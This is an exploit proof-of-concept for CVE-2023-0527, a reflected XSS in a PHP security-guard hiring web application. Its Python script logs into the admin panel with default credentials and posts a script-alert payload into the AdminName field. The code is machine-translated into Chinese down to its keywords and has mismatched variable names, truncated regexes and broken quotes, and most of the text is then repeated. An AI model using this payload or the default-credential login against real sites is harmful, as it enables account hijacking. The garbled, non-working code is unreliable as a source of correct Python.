#Exploit title:在线安全警卫招聘系统1.0 - 反映XSS
#Google Dork : NA
#日期: 23-01-2023
#Exploit作者: Affan Ahmed
#Dendor HomePage: https://phpgurukul.com
#software link: https://phpgurukul.com/projects/online-security-guard-hiring-system_php.zip
#版本: 1.0
#Tested ON: Windows 11 + Xampp + Python-3.x
#CVE : CVE-2023-0527
#Note:运行程序首先使用XAMPP设置代码,然后运行以下Python代码来利用它
#下面的代码检查参数/admin-profile.php和in /search.php
#POC-LINK: https://github.com/CTFLEARNER/VULNERABION/BLOB/MAIN/ONLINE-SECURITY-GUARD-POC.MD
导入请求
导入
从Colorama进口
打印(fore.yellow + '######## + fore.reset)
打印(fore.red +'#title:在线安全警卫雇用系统v1.0' + fore.reset)
print(fore.red +'#漏洞型-:跨站点脚本(xss)' + fore.reset)
打印(fore.red +'#产品的供应商: phpgurukul' + fore.reset)
print(fore.red +'#作者: affan ahmed' + fore.reset)
打印(fore.yellow +'####### fore.reset)
打印()
print(fore.red+'note:要运行代码只键入: python3 exploit.py'+ fore.reset)
打印()
#导航到管理登录页面
weblity_url='http://localhost/osghs/admin/login.php'#根据您的设置更改URL
打印(ref。
打印(fore.cyan +'[]将用户名和密码插入管理登录表[]' + fore.reset)
打印(ref。
admin_login_credentials={'username':'admin','password':'test@123','login':'}
标题={
'content-type':'应用程序/x-www-form-urlencoded',
'用户代理:'Mozilla/5.0(Windows NT 10.0; Win64; X64)AppleWebkit/537.36(Khtml,像Gecko一样)
'Accept':'Text/HTML,Application/XHTML+XML,Application/XML; Q=0.9,Image/avif,Image/WebP,Image/apng,/; q=0.8,application/application/nigned-exchange; v=b3; q=b3; q=0.9'',Q=0.9',
'参考器:'http://localhost/osghs/admin/login.php',
'接受编码:'gzip,deflate',
'Accept-Language':'En-US,en; q=0.9',
'Connection':'关闭',
'cookie':'phpsessid=8alf0rbfjmhm3ddra7si0cv7qc',
'sec-fetch-site':'same-origin',
'sec-fetch mode':'导航',
'sec-fetch-user':'?1',
'sec-fetch-dest':'文档'
}
wendmes=requests.request('post',weblity_url,headers=标题,data=admin_login_credentials)
if antsphy.status_code==200:
位置=re.findall(r'document.location=\'(。*?)\'',wendesp.text)
如果位置:
打印(fore.green +'登录成功到管理帐户' + fore.reset)
打印(fore.green +'popup:' + fore.reset,位置)
其他:
打印(fore.green +'document.location找不到' + fore.reset)
其他:
打印(fore.green +'error:',响应。STATUS_CODE + FORE.RESET)
打印(ref。
print(fore.cyan +'[]在admin-name参数[]' + fore.reset中尝试xss-payload)
#导航到管理配置文件部分以更新管理员资料
#代替/admin-profile.php替换为/search.php,以在搜索参数中找到xss
weblity_url='http://localhost/osghs/admin/admin/admin-profile.php'#根据您的喜好更改此URL
#用于检查管理员XSS的XSS使用以下有效载荷
#要在search.php部分中检查xss
有效载荷={
'AdminName':'testadminscriptAlert(\'From-Admin-name \')/script',#XSS-PAYLOAD,根据您的喜好更改此信息
'username':'管理员',#这些详细信息是随机的,将其更改为您的喜好
'Mobilenumber':'897955558',
'email':'[email protected]',
'提交:'',
}
#通过邮政请求发送答复
响应=requests.post(weblity_url,headers=标题,data=有效载荷)
打印(ref。
#检查状态代码200,并在Regex的帮助下找到脚本标签
if antsphy.status_code==200:
scripts=re.findall(r'scriptAlert \(。
打印(Fore.Green +'响应在AdminName参数:' + Fore.reset上执行有效载荷后)
打印(fore.green+''+fore.reset,脚本)
#Google Dork : NA
#日期: 23-01-2023
#Exploit作者: Affan Ahmed
#Dendor HomePage: https://phpgurukul.com
#software link: https://phpgurukul.com/projects/online-security-guard-hiring-system_php.zip
#版本: 1.0
#Tested ON: Windows 11 + Xampp + Python-3.x
#CVE : CVE-2023-0527
#Note:运行程序首先使用XAMPP设置代码,然后运行以下Python代码来利用它
#下面的代码检查参数/admin-profile.php和in /search.php
#POC-LINK: https://github.com/CTFLEARNER/VULNERABION/BLOB/MAIN/ONLINE-SECURITY-GUARD-POC.MD
导入请求
导入
从Colorama进口
打印(fore.yellow + '######## + fore.reset)
打印(fore.red +'#title:在线安全警卫雇用系统v1.0' + fore.reset)
print(fore.red +'#漏洞型-:跨站点脚本(xss)' + fore.reset)
打印(fore.red +'#产品的供应商: phpgurukul' + fore.reset)
print(fore.red +'#作者: affan ahmed' + fore.reset)
打印(fore.yellow +'####### fore.reset)
打印()
print(fore.red+'note:要运行代码只键入: python3 exploit.py'+ fore.reset)
打印()
#导航到管理登录页面
weblity_url='http://localhost/osghs/admin/login.php'#根据您的设置更改URL
打印(ref。
打印(fore.cyan +'[]将用户名和密码插入管理登录表[]' + fore.reset)
打印(ref。
admin_login_credentials={'username':'admin','password':'test@123','login':'}
标题={
'content-type':'应用程序/x-www-form-urlencoded',
'用户代理:'Mozilla/5.0(Windows NT 10.0; Win64; X64)AppleWebkit/537.36(Khtml,像Gecko一样)
'Accept':'Text/HTML,Application/XHTML+XML,Application/XML; Q=0.9,Image/avif,Image/WebP,Image/apng,/; q=0.8,application/application/nigned-exchange; v=b3; q=b3; q=0.9'',Q=0.9',
'参考器:'http://localhost/osghs/admin/login.php',
'接受编码:'gzip,deflate',
'Accept-Language':'En-US,en; q=0.9',
'Connection':'关闭',
'cookie':'phpsessid=8alf0rbfjmhm3ddra7si0cv7qc',
'sec-fetch-site':'same-origin',
'sec-fetch mode':'导航',
'sec-fetch-user':'?1',
'sec-fetch-dest':'文档'
}
wendmes=requests.request('post',weblity_url,headers=标题,data=admin_login_credentials)
if antsphy.status_code==200:
位置=re.findall(r'document.location=\'(。*?)\'',wendesp.text)
如果位置:
打印(fore.green +'登录成功到管理帐户' + fore.reset)
打印(fore.green +'popup:' + fore.reset,位置)
其他:
打印(fore.green +'document.location找不到' + fore.reset)
其他:
打印(fore.green +'error:',响应。STATUS_CODE + FORE.RESET)
打印(ref。
print(fore.cyan +'[]在admin-name参数[]' + fore.reset中尝试xss-payload)
#导航到管理配置文件部分以更新管理员资料
#代替/admin-profile.php替换为/search.php,以在搜索参数中找到xss
weblity_url='http://localhost/osghs/admin/admin/admin-profile.php'#根据您的喜好更改此URL
#用于检查管理员XSS的XSS使用以下有效载荷
#要在search.php部分中检查xss
有效载荷={
'AdminName':'testadminscriptAlert(\'From-Admin-name \')/script',#XSS-PAYLOAD,根据您的喜好更改此信息
'username':'管理员',#这些详细信息是随机的,将其更改为您的喜好
'Mobilenumber':'897955558',
'email':'[email protected]',
'提交:'',
}
#通过邮政请求发送答复
响应=requests.post(weblity_url,headers=标题,data=有效载荷)
打印(ref。
#检查状态代码200,并在Regex的帮助下找到脚本标签
if antsphy.status_code==200:
scripts=re.findall(r'scriptAlert \(。
打印(Fore.Green +'响应在AdminName参数:' + Fore.reset上执行有效载荷后)
打印(fore.green+''+fore.reset,脚本)